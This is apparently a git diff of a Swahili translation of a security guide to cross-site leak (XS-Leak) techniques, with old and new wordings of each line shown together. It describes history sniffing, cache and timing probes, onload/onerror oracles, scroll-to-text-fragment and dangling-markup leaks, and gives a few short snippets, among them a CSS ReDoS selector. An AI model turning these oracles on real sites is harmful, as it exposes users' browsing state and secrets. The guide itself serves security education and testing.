Programu za wavuti zinaweza kubadilisha mtindo wa **wavuti kulingana na hali ya mtumiaji**. Faili za CSS za kuvuka mipaka zinaweza kuingizwa kwenye ukurasa wa mshambuliaji kwa kutumia **HTML link element**, na **kanuni** zitatumika kwenye ukurasa wa mshambuliaji. Ikiwa ukurasa unabadilisha kanuni hizi kwa kidinamik, mshambuliaji anaweza **kutambua** hizi **tofauti** kulingana na hali ya mtumiaji.\
Kama mbinu ya uvujaji, mshambuliaji anaweza kutumia njia ya `window.getComputedStyle` kusoma mali za CSS za kipengele maalum cha HTML. Kama matokeo, mshambuliaji anaweza kusoma mali za CSS zisizo na mipaka ikiwa kipengele kilichohusika na jina la mali kinajulikana.
### CSS History
@ -713,7 +713,7 @@ Kama mbinu ya uvujaji, mshambuliaji anaweza kutumia njia ya `window.getComputedS
> [!NOTE]
> Kulingana na [**hii**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), hii haifanyi kazi katika Chrome isiyo na kichwa.
Mchoro wa CSS `:visited` unatumika kubadilisha mtindo wa URLs tofauti ikiwa tayari zimetembelewa na mtumiaji. Katika siku za nyuma, njia ya `getComputedStyle()` inaweza kutumika kutambua tofauti hizi za mtindo. Hata hivyo, vivinjari vya kisasa vimeanzisha hatua za usalama ili kuzuia njia hii kufichua hali ya kiungo. Hatua hizi ni pamoja na kurudisha kila wakati mtindo uliohesabiwa kana kwamba kiungo kimetembelewa na kuzuia mitindo inayoweza kutumika na mchoro wa `:visited`.
Mchaguo wa CSS `:visited` unatumika kubadilisha mtindo wa URLs tofauti ikiwa tayari zimetembelewa na mtumiaji. Katika siku za nyuma, njia ya `getComputedStyle()` inaweza kutumika kutambua tofauti hizi za mtindo. Hata hivyo, vivinjari vya kisasa vimeanzisha hatua za usalama ili kuzuia njia hii kufichua hali ya kiungo. Hatua hizi ni pamoja na kurudisha kila wakati mtindo uliohesabiwa kana kwamba kiungo kimetembelewa na kuzuia mitindo inayoweza kutumika na mchaguo wa `:visited`.
Licha ya vizuizi hivi, inawezekana kutambua hali ya kutembelewa ya kiungo kwa njia isiyo ya moja kwa moja. Mbinu moja inahusisha kumdanganya mtumiaji kuingiliana na eneo lililoathiriwa na CSS, hasa kutumia mali ya `mix-blend-mode`. Mali hii inaruhusu kuchanganya vipengele na mandharinyuma yao, ikionyesha hali ya kutembelewa kulingana na mwingiliano wa mtumiaji.
@ -730,7 +730,7 @@ Kwa maelezo zaidi kuhusu mali hizi na mbinu, tembelea kurasa zao za hati:
- **Inclusion Methods**: Frames
- **Detectable Difference**: Headers
- **More info**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
- **Summary:** Katika Google Chrome, ukurasa maalum wa makosa unaonyeshwa wakati ukurasa umezuia kuingizwa kwenye tovuti ya kuvuka mipaka kutokana na vizuizi vya X-Frame-Options.
- **Summary:** Katika Google Chrome, ukurasa maalum wa makosa unaonyeshwa wakati ukurasa umezuiwa kuingizwa kwenye tovuti ya kuvuka mipaka kutokana na vizuizi vya X-Frame-Options.
- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
Katika Chrome, ikiwa ukurasa wenye kichwa cha `X-Frame-Options` kimewekwa kuwa "deny" au "same-origin" umeingizwa kama kitu, ukurasa wa makosa unaonekana. Chrome inarudisha kipekee kitu cha hati tupu (badala ya `null`) kwa mali ya `contentDocument` ya kitu hiki, tofauti na katika iframes au vivinjari vingine. Washambuliaji wanaweza kutumia hii kwa kutambua hati tupu, ambayo inaweza kufichua taarifa kuhusu hali ya mtumiaji, hasa ikiwa waendelezaji wanaweka kichwa cha X-Frame-Options kwa kutokuweka sawa, mara nyingi wakisahau kurasa za makosa. Ufahamu na matumizi ya mara kwa mara ya vichwa vya usalama ni muhimu kwa kuzuia uvujaji kama huu.
@ -743,7 +743,7 @@ Katika Chrome, ikiwa ukurasa wenye kichwa cha `X-Frame-Options` kimewekwa kuwa "
- **Summary:** Mshambuliaji anaweza kutambua upakuaji wa faili kwa kutumia iframes; upatikanaji wa kuendelea wa iframe unaashiria upakuaji wa faili uliofanikiwa.
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
Kichwa cha `Content-Disposition`, hasa `Content-Disposition: attachment`, kinaelekeza kivinjari kupakua maudhui badala ya kuyonyesha ndani. Tabia hii inaweza kutumiwa kutambua ikiwa mtumiaji ana ufikiaji wa ukurasa unaosababisha upakuaji wa faili. Katika vivinjari vya msingi vya Chromium, kuna mbinu chache za kutambua tabia hii ya upakuaji:
Kichwa cha `Content-Disposition`, hasa `Content-Disposition: attachment`, kinaelekeza kivinjari kupakua maudhui badala ya kuyonyesha ndani. Tabia hii inaweza kutumiwa kugundua ikiwa mtumiaji ana ufikiaji wa ukurasa unaosababisha upakuaji wa faili. Katika vivinjari vya msingi vya Chromium, kuna mbinu chache za kutambua tabia hii ya upakuaji:
1. **Ufuatiliaji wa Upakuaji Bar**:
- Wakati faili inapopakuliwa katika vivinjari vya msingi vya Chromium, upakuaji bar inaonekana chini ya dirisha la kivinjari.
@ -753,7 +753,7 @@ Kichwa cha `Content-Disposition`, hasa `Content-Disposition: attachment`, kinael
- Kwa kupakia maudhui katika iframe na kufuatilia matukio ya navigesheni, inawezekana kuangalia ikiwa usambazaji wa maudhui unasababisha upakuaji wa faili (hakuna navigesheni) au la.
3. **Upakuaji wa Navigesheni bila Iframes**:
- Kama mbinu ya iframe, njia hii inahusisha kutumia `window.open` badala ya iframe.
- Kufuatilia matukio ya navigesheni katika dirisha lililo wazi jipya kunaweza kufichua ikiwa upakuaji wa faili ulianzishwa (hakuna navigesheni) au ikiwa maudhui yanaonyeshwa ndani (navigesheni inatokea).
- Kufuatilia matukio ya navigesheni katika dirisha lililofunguliwa jipya kunaweza kufichua ikiwa upakuaji wa faili ulianzishwa (hakuna navigesheni) au ikiwa maudhui yanaonyeshwa ndani (navigesheni inatokea).
Katika hali ambapo ni watumiaji walioingia tu wanaoweza kuanzisha upakuaji kama huu, mbinu hizi zinaweza kutumika kwa njia isiyo ya moja kwa moja kudhani hali ya uthibitisho wa mtumiaji kulingana na majibu ya kivinjari kwa ombi la upakuaji.
@ -769,7 +769,7 @@ Katika hali ambapo ni watumiaji walioingia tu wanaoweza kuanzisha upakuaji kama
> Hii ndiyo sababu mbinu hii ni ya kuvutia: Chrome sasa ina **cache partitioning**, na funguo ya cache ya ukurasa uliofunguliwa mpya ni: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, lakini ikiwa nitafungua ukurasa wa ngrok na kutumia fetch ndani yake, funguo ya cache itakuwa: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **funguo ya cache ni tofauti**, hivyo cache haiwezi kushirikiwa. Unaweza kupata maelezo zaidi hapa: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
> (Maoni kutoka [**hapa**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
Ikiwa tovuti `example.com` inajumuisha rasilimali kutoka `*.example.com/resource` basi rasilimali hiyo itakuwa na **funguo sawa ya caching** kama rasilimali ilivyoombwa moja kwa moja **kupitia navigesheni ya ngazi ya juu**. Hii ni kwa sababu funguo ya caching inajumuisha ngazi ya juu _eTLD+1_ na frame _eTLD+1_.
Ikiwa tovuti `example.com` inajumuisha rasilimali kutoka `*.example.com/resource` basi rasilimali hiyo itakuwa na **funguo sawa ya caching** kama rasilimali ilivyoombwa moja kwa moja **kupitia navigesheni ya kiwango cha juu**. Hiyo ni kwa sababu funguo ya caching inajumuisha kiwango cha juu _eTLD+1_ na frame _eTLD+1_.
Kwa sababu ufikiaji wa cache ni wa haraka zaidi kuliko kupakia rasilimali, inawezekana kujaribu kubadilisha eneo la ukurasa na kuifuta 20ms (kwa mfano) baada ya hapo. Ikiwa asili ilibadilishwa baada ya kusitisha, inamaanisha kuwa rasilimali ilihifadhiwa.\
Au inaweza tu **kutuma baadhi ya fetch kwa ukurasa unaoweza kuhifadhiwa na kupima muda inachukua**.
@ -807,12 +807,12 @@ Tumia _**fetch**_ na _**setTimeout**_ na **AbortController** kugundua ikiwa **ra
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
- **Summary:** Pima muda wa utekelezaji wa wavuti kwa kutumia service workers.
- **Summary:** Pima muda wa utekelezaji wa wavuti kwa kutumia huduma za wafanyakazi.
- **Code Example**:
Katika hali iliyotolewa, mshambuliaji anachukua hatua ya kujiandikisha **service worker** ndani ya moja ya maeneo yao, hasa "attacker.com". Kisha, mshambuliaji anafungua dirisha jipya katika tovuti lengwa kutoka kwa hati kuu na kumwambia **service worker** kuanzisha kipima muda. Wakati dirisha jipya linaanza kupakia, mshambuliaji anahamisha rejeleo lililopatikana katika hatua ya awali kwenye ukurasa unaosimamiwa na **service worker**.
Katika hali iliyotolewa, mshambuliaji anachukua hatua ya kujiandikisha **mshauri wa huduma** ndani ya moja ya maeneo yao, hasa "attacker.com". Kisha, mshambuliaji anafungua dirisha jipya katika tovuti lengwa kutoka kwa hati kuu na kuagiza **mshauri wa huduma** kuanzisha kipima muda. Wakati dirisha jipya linaanza kupakia, mshambuliaji anahamisha rejeleo lililopatikana katika hatua ya awali kwenye ukurasa unaosimamiwa na **mshauri wa huduma**.
Wakati ombi lililoanzishwa katika hatua ya awali linapofika, **service worker** inajibu kwa msimbo wa hali **204 (No Content)**, ikisitisha mchakato wa navigesheni. Wakati huu, **service worker** inachukua kipimo kutoka kwa kipima muda kilichoanzishwa mapema katika hatua ya pili. Kipimo hiki kinategemea muda wa JavaScript unaosababisha ucheleweshaji katika mchakato wa navigesheni.
Pale ombi lililoanzishwa katika hatua ya awali linapofika, **mshauri wa huduma** unajibu kwa msimbo wa hali **204 (No Content)**, kwa ufanisi ukimaliza mchakato wa navigesheni. Wakati huu, **mshauri wa huduma** anachukua kipimo kutoka kwa kipima muda kilichoanzishwa mapema katika hatua ya pili. Kipimo hiki kinategemea muda wa JavaScript unaosababisha ucheleweshaji katika mchakato wa navigesheni.
> [!WARNING]
> Katika kipimo cha utekelezaji inawezekana **kuondoa** **vigezo vya mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuzipakia.
@ -835,7 +835,7 @@ Wakati ombi lililoanzishwa katika hatua ya awali linapofika, **service worker**
## With HTML or Re Injection
Hapa unaweza kupata mbinu za kuhamasisha taarifa kutoka kwa HTML ya kuvuka mipaka **kuingiza maudhui ya HTML**. Mbinu hizi ni za kuvutia katika hali ambapo kwa sababu yoyote unaweza **kuingiza HTML lakini huwezi kuingiza msimbo wa JS**.
Hapa unaweza kupata mbinu za kuhamasisha taarifa kutoka kwa HTML ya kuvuka mipaka **kuingiza maudhui ya HTML**. Mbinu hizi ni za kuvutia katika kesi ambapo kwa sababu yoyote unaweza **kuingiza HTML lakini huwezi kuingiza msimbo wa JS**.
### Dangling Markup
@ -855,7 +855,7 @@ Hata hivyo, ikiwa kwa sababu yoyote unapaswa kufanya hivyo **karakteri kwa karak
Kwa hivyo, kile unachoweza kufanya ni **kuongeza herufi nyingi za junk** (Kwa mfano **maelfu ya "W"s**) ili **kujaza ukurasa wa wavuti kabla ya siri au kuongeza kitu kama** `<br><canvas height="1850px"></canvas><br>.`\
Kisha ikiwa kwa mfano **injection yetu inaonekana kabla ya bendera**, **picha** itakuwa **imepakiwa**, lakini ikiwa inaonekana **baada** ya **bendera**, bendera + junk itazuia **kupakiwa** (utahitaji kucheza na kiasi gani cha junk kuweka). Hii ndiyo ilitokea katika [**hii andiko**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
Chaguo jingine lingekuwa kutumia **scroll-to-text-fragment** ikiwa inaruhusiwa:
Chaguo lingine lingekuwa kutumia **scroll-to-text-fragment** ikiwa inaruhusiwa:
#### Scroll-to-text-fragment
@ -865,15 +865,15 @@ Hata hivyo, unafanya **bot kuingia kwenye ukurasa** na kitu kama
```
Hivyo ukurasa wa wavuti utakuwa kama: **`https://victim.com/post.html#:~:text=SECR`**
Ambapo post.html ina wahasiriwa wa wahasiri na picha ya kupakia polepole na kisha siri ya roboti inaongezwa.
Ambapo post.html ina wahasiriwa wa wahasiriwa na picha ya kupakia polepole na kisha siri ya roboti inaongezwa.
Kile hiki kitatenda ni kumfanya roboti kufikia maandiko yoyote kwenye ukurasa ambayo yana maandiko `SECR`. Kwa kuwa maandiko hayo ni siri na yako tu **chini ya picha**, **picha itapakia tu ikiwa siri iliyokisiwa ni sahihi**. Hivyo unayo oracle yako ya **kuondoa siri hiyo taratibu**.
Kile hiki kitatenda ni kumfanya roboti kufikia maandiko yoyote kwenye ukurasa ambayo yana maandiko `SECR`. Kwa kuwa maandiko hayo ni siri na yako tu **chini ya picha**, **picha itapakia tu ikiwa siri iliyokisiwa ni sahihi**. Hivyo unayo oracle yako ili **kuondoa siri hiyo taratibu**.
Mfano wa msimbo wa kutumia hili: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
### Picha ya Kupakia Polepole Kulingana na Wakati
Ikiwa **haiwezekani kupakia picha ya nje** ambayo inaweza kumwonyesha mshambuliaji kwamba picha imepakiwa, chaguo jingine litakuwa kujaribu **kukisia herufi kadhaa na kupima hiyo**. Ikiwa picha imepakiwa, maombi yote yatakuwa na muda mrefu zaidi kuliko ikiwa picha haijapakiwa. Hii ndiyo iliyotumika katika [**ufumbuzi wa andiko hili**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **iliyofupishwa hapa:**
Ikiwa **haiwezekani kupakia picha ya nje** ambayo inaweza kumwambia mshambuliaji kwamba picha imepakiwa, chaguo jingine litakuwa kujaribu **kukisia herufi kadhaa na kupima hilo**. Ikiwa picha imepakiwa, maombi yote yatakuwa na muda mrefu zaidi kuliko ikiwa picha haijapakiwa. Hii ndiyo iliyotumika katika [**ufumbuzi wa andiko hili**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **iliyofupishwa hapa:**
{{#ref}}
xs-search/event-loop-blocking-+-lazy-images.md
@ -887,7 +887,7 @@ regular-expression-denial-of-service-redos.md
### CSS ReDoS
Ikiwa `jQuery(location.hash)` inatumika, inawezekana kugundua kupitia wakati **ikiwa maudhui fulani ya HTML yapo**, hii ni kwa sababu ikiwa mteuzi `main[id='site-main']` hauendani, haitahitaji kuangalia mteuzi wengine wote:
Ikiwa `jQuery(location.hash)` inatumika, inawezekana kugundua kupitia wakati i**f baadhi ya maudhui ya HTML yapo**, hii ni kwa sababu ikiwa mteuzi `main[id='site-main']` hauendani, haitahitaji kuangalia mteuzi wengine wote:
```javascript
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"

View File

@ -30,7 +30,7 @@ Mambo kadhaa yanaweza kuchambuliwa ili kutofautisha hali za Mtandao wa Udhaifu:
- **Vitu vya HTML**: HTML inatoa vitu mbalimbali kwa ajili ya **kujumuisha rasilimali za cross-origin**, kama vile stylesheets, picha, au scripts, ikilazimisha kivinjari kuomba rasilimali isiyo ya HTML. Mkusanyiko wa vitu vya HTML vinavyoweza kutumika kwa kusudi hili unaweza kupatikana kwenye [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
- **Frames**: Vitu kama **iframe**, **object**, na **embed** vinaweza kuingiza rasilimali za HTML moja kwa moja kwenye ukurasa wa mshambuliaji. Ikiwa ukurasa **hauna ulinzi wa fremu**, JavaScript inaweza kufikia kitu cha fremu kupitia mali ya contentWindow.
- **Pop-ups**: Mbinu ya **`window.open`** inafungua rasilimali katika kichupo au dirisha jipya, ikitoa **handle ya dirisha** kwa JavaScript kuingiliana na mbinu na mali zinazofuata SOP. Pop-ups, mara nyingi hutumiwa katika uthibitisho wa moja, hupita vizuizi vya fremu na vidakuzi vya rasilimali lengwa. Hata hivyo, vivinjari vya kisasa vinakandamiza uundaji wa pop-up kwa vitendo fulani vya mtumiaji.
- **Pop-ups**: Mbinu ya **`window.open`** inafungua rasilimali katika tab au dirisha jipya, ikitoa **handle ya dirisha** kwa JavaScript kuingiliana na mbinu na mali zinazofuata SOP. Pop-ups, mara nyingi hutumiwa katika uthibitisho wa moja, hupita vizuizi vya fremu na vidakuzi vya rasilimali lengwa. Hata hivyo, vivinjari vya kisasa vinakandamiza uundaji wa pop-up kwa vitendo fulani vya mtumiaji.
- **Maombi ya JavaScript**: JavaScript inaruhusu maombi ya moja kwa moja kwa rasilimali lengwa kwa kutumia **XMLHttpRequests** au **Fetch API**. Mbinu hizi zinatoa udhibiti sahihi juu ya ombi, kama vile kuchagua kufuata mwelekeo wa HTTP.
### Leak Techniques
@ -44,9 +44,9 @@ Mambo kadhaa yanaweza kuchambuliwa ili kutofautisha hali za Mtandao wa Udhaifu:
## XSinator Tool & Paper
XSinator ni zana ya kiotomatiki ya **kuangalia vivinjari dhidi ya XS-Leaks kadhaa zinazojulikana** zilizoelezwa katika karatasi yake: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
XSinator ni chombo cha kiotomatiki cha **kuangalia vivinjari dhidi ya XS-Leaks kadhaa zinazojulikana** zilizoelezwa katika karatasi yake: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
Unaweza **kupata zana hiyo katika** [**https://xsinator.com/**](https://xsinator.com/)
Unaweza **kupata chombo hicho katika** [**https://xsinator.com/**](https://xsinator.com/)
> [!WARNING]
> **XS-Leaks Zilizotengwa**: Ilibidi tutenge XS-Leaks zinazotegemea **wafanyakazi wa huduma** kwani zingeharibu kuonyesha nyingine katika XSinator. Zaidi ya hayo, tulichagua **kutenga XS-Leaks zinazotegemea usakinishaji mbaya na makosa katika programu maalum ya wavuti**. Kwa mfano, makosa ya usakinishaji wa CrossOrigin Resource Sharing (CORS), uvujaji wa postMessage au Cross-Site Scripting. Aidha, tulitenga XS-Leaks za muda kwa sababu mara nyingi huwa na matatizo ya kuwa polepole, kelele na zisizo sahihi.
@ -55,7 +55,7 @@ Unaweza **kupata zana hiyo katika** [**https://xsinator.com/**](https://xsinator
Baadhi ya mbinu zifuatazo zitatumia muda kama sehemu ya mchakato wa kugundua tofauti katika hali zinazowezekana za kurasa za wavuti. Kuna njia tofauti za kupima muda katika kivinjari cha wavuti.
**Saa**: API ya [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) inaruhusu wabunifu kupata vipimo vya muda vya hali ya juu.\
**Clocks**: API ya [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) inaruhusu wabunifu kupata vipimo vya muda vya hali ya juu.\
Kuna idadi kubwa ya APIs ambazo mshambuliaji anaweza kuzitumia kuunda saa zisizo za moja kwa moja: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), animations za CSS, na nyingine.\
Kwa maelezo zaidi: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
@ -63,17 +63,17 @@ Kwa maelezo zaidi: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](http
### Onload/Onerror
- **Mbinu za Kujumuisha**: Frames, Vitu vya HTML
- **Tofauti Zinazoweza Kugundulika**: Nambari ya Hali
- **Maelezo zaidi**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
- **Muhtasari**: ikiwa unajaribu kupakia rasilimali kwenye matukio ya onerror/onload yanachochewa na rasilimali inapopakuliwa kwa mafanikio/kushindwa inawezekana kubaini nambari ya hali.
- **Mfano wa Kode**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
- **Inclusion Methods**: Frames, HTML Elements
- **Detectable Difference**: Status Code
- **More info**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
- **Summary**: ikiwa unajaribu kupakia rasilimali kwenye matukio ya onerror/onload yanachochewa na rasilimali inapakiwa kwa mafanikio/kushindwa inawezekana kubaini nambari ya hali.
- **Code example**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
{{#ref}}
cookie-bomb-+-onerror-xs-leak.md
{{#endref}}
Mfano wa kode unajaribu **kupakia vitu vya scripts kutoka JS**, lakini **vitambulisho vingine** kama vile vitu, stylesheets, picha, sauti vinaweza pia kutumika. Aidha, inawezekana pia kuingiza **tag moja kwa moja** na kutangaza matukio ya `onload` na `onerror` ndani ya tag (badala ya kuingiza kutoka JS).
Mfano wa msimbo unajaribu **kupakia vitu vya scripts kutoka JS**, lakini **vitambulisho vingine** kama vile vitu, stylesheets, picha, sauti vinaweza pia kutumika. Aidha, inawezekana pia kuingiza **tag moja kwa moja** na kutangaza matukio ya `onload` na `onerror` ndani ya tag (badala ya kuingiza kutoka JS).
Pia kuna toleo lisilo na script la shambulio hili:
```html
@ -121,7 +121,7 @@ Muda unaochukuliwa kupata rasilimali unaweza kupimwa kwa kutumia [`unload`](http
- **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API inaweza kutumika kupima ni muda gani inachukua kufanya ombi. Saa nyingine zinaweza kutumika.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
Imekuwa ikionekana kwamba katika kukosekana kwa [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), muda unaohitajika kwa ukurasa na rasilimali zake ndogo kupakuliwa kupitia mtandao unaweza kupimwa na mshambuliaji. Kipimo hiki kwa kawaida kinawezekana kwa sababu `onload` handler ya iframe inasababishwa tu baada ya kukamilika kwa upakuaji wa rasilimali na utekelezaji wa JavaScript. Ili kupita tofauti iliyosababishwa na utekelezaji wa script, mshambuliaji anaweza kutumia sifa ya [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) ndani ya `<iframe>`. Kuongeza sifa hii kunakataza kazi nyingi, hasa utekelezaji wa JavaScript, hivyo kuruhusu kipimo ambacho kinategemea zaidi utendaji wa mtandao.
Imekuwa ikionekana kwamba katika kukosekana kwa [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), muda unaohitajika kwa ukurasa na rasilimali zake ndogo kupakuliwa kupitia mtandao unaweza kupimwa na mshambuliaji. Kipimo hiki kwa kawaida kinawezekana kwa sababu `onload` handler ya iframe inasababishwa tu baada ya kukamilika kwa upakuaji wa rasilimali na utekelezaji wa JavaScript. Ili kupita tofauti iliyosababishwa na utekelezaji wa script, mshambuliaji anaweza kutumia [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) sifa ndani ya `<iframe>`. Kuongeza sifa hii kunakataza kazi nyingi, hasa utekelezaji wa JavaScript, hivyo kuruhusu kipimo ambacho kinategemea zaidi utendaji wa mtandao.
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
@ -134,25 +134,25 @@ Imekuwa ikionekana kwamba katika kukosekana kwa [Framing Protections](https://xs
- **Summary**: Ikiwa unaweza kufanya ukurasa uwe na kosa wakati maudhui sahihi yanapofikiwa na kufanya upakue vizuri wakati maudhui yoyote yanapofikiwa, basi unaweza kufanya mzunguko kutoa taarifa zote bila kupima muda.
- **Code Example**:
Fikiria kwamba unaweza **kuingiza** **ukurasa** ambao una **maudhui ya siri** **ndani ya Iframe**.
Fikiria kwamba unaweza **kuingiza** **ukurasa** ambao una maudhui ya **siri** **ndani ya Iframe**.
Unaweza **kufanya mwathirika atafute** faili ambayo ina "_**bendera**_" kwa kutumia **Iframe** (ukitumia CSRF kwa mfano). Ndani ya Iframe unajua kwamba _**tukio la onload**_ litakuwa **linatekelezwa kila wakati angalau mara moja**. Kisha, unaweza **kubadilisha** **URL** ya **iframe** lakini kubadilisha tu **maudhui** ya **hash** ndani ya URL.
Unaweza **kufanya mwathirika atafute** faili ambayo ina "_**flag**_" kwa kutumia **Iframe** (ukitumia CSRF kwa mfano). Ndani ya Iframe unajua kwamba _**onload event**_ itatekelezwa **daima angalau mara moja**. Kisha, unaweza **kubadilisha** **URL** ya **iframe** lakini kubadilisha tu **maudhui** ya **hash** ndani ya URL.
Kwa mfano:
1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2
Ikiwa URL ya kwanza ilipakuliwa **kwa mafanikio**, basi, wakati **ukibadilisha** sehemu ya **hash** ya URL tukio la **onload** **halitazinduliwa** tena. Lakini **ikiwa** ukurasa ulikuwa na aina fulani ya **kosa** wakati wa **kupakia**, basi, tukio la **onload** litazinduliwa **tena**.
Ikiwa URL ya kwanza ilipakuliwa **kwa mafanikio**, basi, wakati **ukibadilisha** sehemu ya **hash** ya URL, **onload** event **haitaanzishwa** tena. Lakini **ikiwa** ukurasa ulikuwa na aina fulani ya **kosa** wakati wa **upakuaji**, basi, **onload** event itaanzishwa **tena**.
Kisha, unaweza **kutofautisha kati ya** ukurasa ulio **pakiwa vizuri** au ukurasa ambao una **kosa** wakati unafikiwa.
Kisha, unaweza **kutofautisha kati ya** ukurasa ulio **pakuliwa vizuri** au ukurasa ambao una **kosa** wakati unafikiwa.
### Javascript Execution
- **Inclusion Methods**: Frames
- **Detectable Difference**: Page Content
- **More info**:
- **Summary:** Ikiwa **ukurasa** unarudisha **maudhui ya nyeti**, **au** maudhui ambayo yanaweza **kudhibitiwa** na mtumiaji. Mtumiaji anaweza kuweka **msimbo sahihi wa JS katika kesi hasi**, na **kupakia** kila jaribio ndani ya **`<script>`** vitambulisho, hivyo katika kesi **hasi** msimbo wa **washambuliaji** unatekelezwa, na katika kesi **chanya** **hakuna** kitu kitatekelezwa.
- **Summary:** Ikiwa **ukurasa** unarudisha maudhui ya **siri**, **au** maudhui ambayo yanaweza **kudhibitiwa** na mtumiaji. Mtumiaji anaweza kuweka **kodhi halali ya JS katika kesi hasi**, na **kupakia** kila jaribio ndani ya **`<script>`** tags, hivyo katika kesi **hasi** kodhi ya washambuliaji **inasemwa,** na katika kesi **chanya** **hakuna** itatekelezwa.
- **Code Example:**
{{#ref}}
@ -164,21 +164,21 @@ javascript-execution-xs-leak.md
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Status Code & Headers
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
- **Summary**: **Cross-Origin Read Blocking (CORB)** ni kipimo cha usalama kinachozuia kurasa za wavuti kupakia rasilimali nyeti za cross-origin ili kulinda dhidi ya mashambulizi kama **Spectre**. Hata hivyo, washambuliaji wanaweza kutumia tabia yake ya kinga. Wakati jibu linalohusishwa na **CORB** linaporudisha _**CORB protected**_ `Content-Type` na `nosniff` na msimbo wa hali `2xx`, **CORB** inakata mwili wa jibu na vichwa. Washambuliaji wanaoshuhudia hili wanaweza kudhani mchanganyiko wa **msimbo wa hali** (unaonyesha mafanikio au kosa) na `Content-Type` (inaonyesha ikiwa inakabiliwa na **CORB**), ikisababisha uvujaji wa taarifa.
- **Summary**: **Cross-Origin Read Blocking (CORB)** ni kipimo cha usalama kinachozuia kurasa za wavuti kupakua rasilimali fulani za siri za cross-origin ili kulinda dhidi ya mashambulizi kama **Spectre**. Hata hivyo, washambuliaji wanaweza kutumia tabia yake ya kinga. Wakati jibu linalohusishwa na **CORB** linaporudisha _**CORB protected**_ `Content-Type` na `nosniff` na msimbo wa hali `2xx`, **CORB** inakata mwili wa jibu na vichwa. Washambuliaji wanaoshuhudia hili wanaweza kudhani mchanganyiko wa **mwandiko wa hali** (unaonyesha mafanikio au kosa) na `Content-Type` (inaonyesha ikiwa inprotected na **CORB**), ikisababisha uvujaji wa taarifa.
- **Code Example**:
Angalia kiungo cha maelezo zaidi kwa maelezo zaidi kuhusu shambulizi.
Angalia kiungo cha maelezo zaidi kwa maelezo zaidi kuhusu shambulio.
### onblur
- **Inclusion Methods**: Frames
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
- **Summary**: Vuja data nyeti kutoka kwa sifa ya id au jina.
- **Summary**: Leak data nyeti kutoka kwa sifa ya id au jina.
- **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
